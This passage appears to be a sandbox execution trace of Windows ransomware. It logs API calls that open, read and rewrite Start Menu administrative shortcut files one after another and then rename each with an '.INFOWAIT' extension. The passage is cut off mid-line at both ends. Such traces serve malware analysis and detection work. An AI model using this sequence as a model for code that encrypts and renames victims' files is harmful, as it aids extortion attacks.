lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" [0133.541] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk.INFOWAIT" [0133.541] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk.infowait")) returned 1 [0133.542] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.543] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.543] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.543] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.543] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50e [0133.543] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.543] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.544] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x50e, lpOverlapped=0x0) returned 1 [0133.553] VirtualAlloc (lpAddress=0x0, dwSize=0x50e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.554] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.554] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x50e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x50e, lpOverlapped=0x0) returned 1 [0133.554] CloseHandle (hObject=0xad0) returned 1 [0133.554] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" [0133.554] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk.INFOWAIT" [0133.554] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk.infowait")) returned 1 [0133.555] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.556] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.556] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.556] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\data sources (odbc).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.556] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4f6 [0133.556] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.556] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.556] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4f6, lpOverlapped=0x0) returned 1 [0133.571] VirtualAlloc (lpAddress=0x0, dwSize=0x4f6, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.571] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.571] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4f6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4f6, lpOverlapped=0x0) returned 1 [0133.571] CloseHandle (hObject=0xad0) returned 1 [0133.572] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk" [0133.572] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk.INFOWAIT" [0133.572] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\data sources (odbc).lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\data sources (odbc).lnk.infowait")) returned 1 [0133.572] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.573] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.574] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.574] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.574] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7a6 [0133.574] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.575] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.575] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7a6, lpOverlapped=0x0) returned 1 [0133.576] VirtualAlloc (lpAddress=0x0, dwSize=0x7a6, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.577] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.577] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7a6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7a6, lpOverlapped=0x0) returned 1 [0133.577] CloseHandle (hObject=0xad0) returned 1 [0133.577] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" [0133.577] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.INFOWAIT" [0133.577] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini.infowait")) returned 1 [0133.578] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.579] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.579] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.579] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.580] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x512 [0133.580] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.580] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.580] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x512, lpOverlapped=0x0) returned 1 [0133.617] VirtualAlloc (lpAddress=0x0, dwSize=0x512, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.617] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.617] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x512, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x512, lpOverlapped=0x0) returned 1 [0133.617] CloseHandle (hObject=0xad0) returned 1 [0133.617] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" [0133.617] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk.INFOWAIT" [0133.617] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk.infowait")) returned 1 [0133.618] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.619] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.619] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.619] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.620] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4fa [0133.620] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.620] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.620] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4fa, lpOverlapped=0x0) returned 1 [0133.633] VirtualAlloc (lpAddress=0x0, dwSize=0x4fa, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.634] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.634] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4fa, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4fa, lpOverlapped=0x0) returned 1 [0133.634] CloseHandle (hObject=0xad0) returned 1 [0133.634] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" [0133.634] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk.INFOWAIT" [0133.634] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk.infowait")) returned 1 [0133.635] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.635] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.636] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.636] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.636] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4f4 [0133.636] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.636] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.636] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4f4, lpOverlapped=0x0) returned 1 [0133.700] VirtualAlloc (lpAddress=0x0, dwSize=0x4f4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.701] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.701] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4f4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4f4, lpOverlapped=0x0) returned 1 [0133.703] CloseHandle (hObject=0xad0) returned 1 [0133.703] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" [0133.703] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk.INFOWAIT" [0133.703] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk.infowait")) returned 1 [0133.704] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.705] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.705] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.705] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.705] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4d0 [0133.705] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.706] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.706] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4d0, lpOverlapped=0x0) returned 1 [0133.895] VirtualAlloc (lpAddress=0x0, dwSize=0x4d0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.896] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.896] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4d0, lpOverlapped=0x0) returned 1 [0133.896] CloseHandle (hObject=0xad0) returned 1 [0133.896] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" [0133.896] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk.INFOWAIT" [0133.896] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk.infowait")) returned 1 [0133.897] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.898] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.898] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.899] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.899] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ee [0133.899] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.899] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.899] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4ee, lpOverlapped=0x0) returned 1 [0133.993] VirtualAlloc (lpAddress=0x0, dwSize=0x4ee, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.994] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.994] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4ee, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4ee, lpOverlapped=0x0) returned 1 [0133.994] CloseHandle (hObject=0xad0) returned 1 [0133.994] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" | out: lpString1="C:\\Users\\All 